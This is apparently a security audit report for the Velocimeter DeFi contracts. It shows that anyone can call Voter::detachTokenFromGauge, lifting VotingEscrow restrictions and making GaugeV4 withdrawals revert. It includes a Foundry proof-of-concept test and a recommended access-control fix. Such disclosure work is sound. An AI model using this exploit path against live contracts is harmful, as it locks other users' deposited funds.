Warm Denim Mantis

High

# Missing access control on `Voter::detachTokenFromGauge` allows attacker to stop users from withdrawing from `GaugeV4`

## Summary
There is no access control on `Voter::detachTokenFromGauge` meaning any user can call it and cause two types of issues:
1. Functions in `VotingEscrow` that should be restricted while a token id is tied to funds in a `GaugeV4` instance will not revert as expected.
2. After the expiry of the lock in `GaugeV4` the user will not be able to withdraw their tokens as the attempt to decrement the number of attachments during withdrawal will cause an underflow error.

## Vulnerability Detail
When a user deposits tokens into the `GaugeV4` contract using their ERC-721 token from `VotingEscrow` the contract calls `VotingEscrow::attach` which makes the following change:
```solidity
    attachments[_tokenId] = attachments[_tokenId] + 1;
```
This is used to limit the actions a user can make with their ERC-721 token while it is attached to any particular gauge. Then when a user withdraws all the funds tied to that token id within the `Gauge` the `attachments` mapping in `VotingEscrow` is decremented back, reallowing the previously limited actions (providing that was the only gauge it was attached to). However the `Voter` contract has a `detachTokenFromGauge` function that allows anyone to call `VotingEscrow::detach` on any `tokenId`. This not only means that the token will be allowed to make the previously restricted actions despite still having funds tied to that token id in the `GaugeV4` contract, it also means the user will not be able to withdraw all their tokens from `GaugeV4` as doing so will cause an underflow revert when attempting to decrement from the `VotingEscrow::attachments` mapping as it will have already been set to zero.

**Proof Of Concept**
Consider the following steps:
- Alice mints an ERC-721 after calling `OptionTokenV4::exerciseVe`
- Alice LPs in a pool & deposits the tokens into `GaugeV4`
- Bob calls `Voter::detachTokenFromGauge` to detach Alice's token
- When Alice tries to withdraw her tokens at the end of the lock period her transaction will fail due to the underflow error when attempting to decrement from the `VotingEscrow::attachments` mapping

Add the following test to `OptionTokenV4.t.sol` to show this issue:
```solidity
    function test_Toad_DepositStuck() public {
        // Regular user (Alice) gets a tokenId
        address alice = makeAddr("alice");
        vm.startPrank(address(owner));
        washTrades();
        FLOW.approve(address(oFlowV4), 1 ether);
        oFlowV4.mint(alice, 1 ether);
        FLOW.mint(alice, 100 ether);
        DAI.mint(alice, 100 ether);
        escrow.setVoter(address(voter));
        vm.stopPrank();

        // Alice gets LP tokens to deposit into gauge
        vm.startPrank(alice);
        DAI.approve(address(oFlowV4), 10 ether);
        (, uint256 aliceTokenId, ) = oFlowV4.exerciseVe(1 ether, 1 ether, alice, 20, block.timestamp);
        DAI.approve(address(router), 10 ether);
        FLOW.approve(address(router), 10 ether);
        router.addLiquidity(
            address(FLOW),
            address(DAI),
            false,
            10 ether,
            10 ether,
            0,
            0,
            alice,
            block.timestamp
        );

        // Alice calls GaugeV4::deposit (with her tokenId) this calls Voter::attachTokenToGauge
        flowDaiPair.approve(address(gauge), type(uint256).max);
        gauge.depositAll(aliceTokenId);
        vm.stopPrank();

        // Attacker (Bob) calls detachTokenFromGauge (no access control)
        address bob = makeAddr("bob");
        vm.prank(bob);
        voter.detachTokenFromGauge(aliceTokenId, alice);

        // Confirm alice can no longer withdraw (even after lock has passed) (Voter::detachTokenFromGauge would underflow)
        uint256 aliceUnlockTime = gauge.lockEnd(alice);
        vm.warp(aliceUnlockTime + 1);
        vm.startPrank(alice);
        vm.expectRevert();
        gauge.withdrawAll();
    }
```
The test reverts with the following stack traces:
```solidity
    ├─ [31141] GaugeV4::withdrawAll()
    │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
```

## Impact
This issue has two groups of potential impacts:
1. The `merge`, `split`, `transferFrom` and `withdraw` functions in `VotingEscrow.sol`, that should be blocked while the token is tied to tokens locked in `GaugeV4`, will not fail as expected. See this line which is present in those functions:
`        require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached");`
4. The user will not be able to withdraw all their tokens from `GaugeV4` after their lock has expired because of the underflow it would cause when trying to decrement `attachments[_tokenId]` when it is already zero.
 
## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L444

## Tool used

Manual Review & Foundry

## Recommendation
The function `Voter::detachTokenFromGauge` should have a check such as `require(isGauge[msg.sender])` (which is already present in `Voter::attachTokenToGauge`). Adding this would remove the ability for users to detach tokens unexpectedly.
